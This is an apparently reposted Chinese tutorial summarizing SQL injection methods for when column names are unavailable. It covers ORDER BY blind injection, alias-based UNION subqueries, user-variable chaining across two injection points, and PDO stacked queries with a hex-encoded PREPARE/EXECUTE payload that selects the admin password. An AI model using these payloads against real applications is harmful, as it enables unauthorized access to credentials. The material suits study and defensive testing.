标签:情况 http word 分享 页面 执行 select 存在 set
这里对无列名注入的方法进行一下总结,主要出现的情况可能是无法获取列名,或者列名被过滤等等,但一般只能获取可注入语句里面对应表的信息。
如果注入存在于如下语句,那么就能够使用盲注这种方法
SELECT * FROM USERS WHERE USERNAME=‘$injectdot‘;
这里主要是利用了order by password
来对password
字段进行盲注,通过回显的用户名是admin
还是xxx
来进行判断。
那么payload就是:
injectdot=admin‘ union select 1,‘xxx‘,‘z‘ order by 3#
这种方法只要存在一个注入就可以了:
SELECT B FROM A WHERE B=‘$injectdot‘;
具体是利用别名的方法,来将数据获取出来。
那么payload如下:
injectdot=‘ union (select c from (select 1,2,3 as c union select * from user ) as b) limit 1,1# 或者 injectdot=‘ union (select c from (select 1,2,3 c union select * from user )b) limit 1,1#
这种方法需要在同一个页面存在两个注入:
注入点1:SELECT * FROM USERS WHERE USERNAME=‘$injectdot1‘; 注入点2:SELECT * FROM A WHERE B=‘$injectdot2‘;
那么payload为:
injectdot1=admin‘ into @a,@b,@c# injectdot2=‘ union select @c#
这种方法需要利用PDO来对数据库进行操作,于是就能够执行多条语句从而进行注入,主要可以利用prepare
和execute
来执行数据库语句,从而绕过很多过滤进行注入。
只要有注入就行:
SELECT B FROM A WHERE C=‘$injectdot‘;
这样payload是:
injectdot=‘;set @a=unhex("73656c6563742070617373776f72642066726f6d207573657220776865726520757365726e616d653d2761646d696e273b");prepare p from @a;execute p;#
标签:情况 http word 分享 页面 执行 select 存在 set
原文地址:http://www.cnblogs.com/test404/p/7098540.html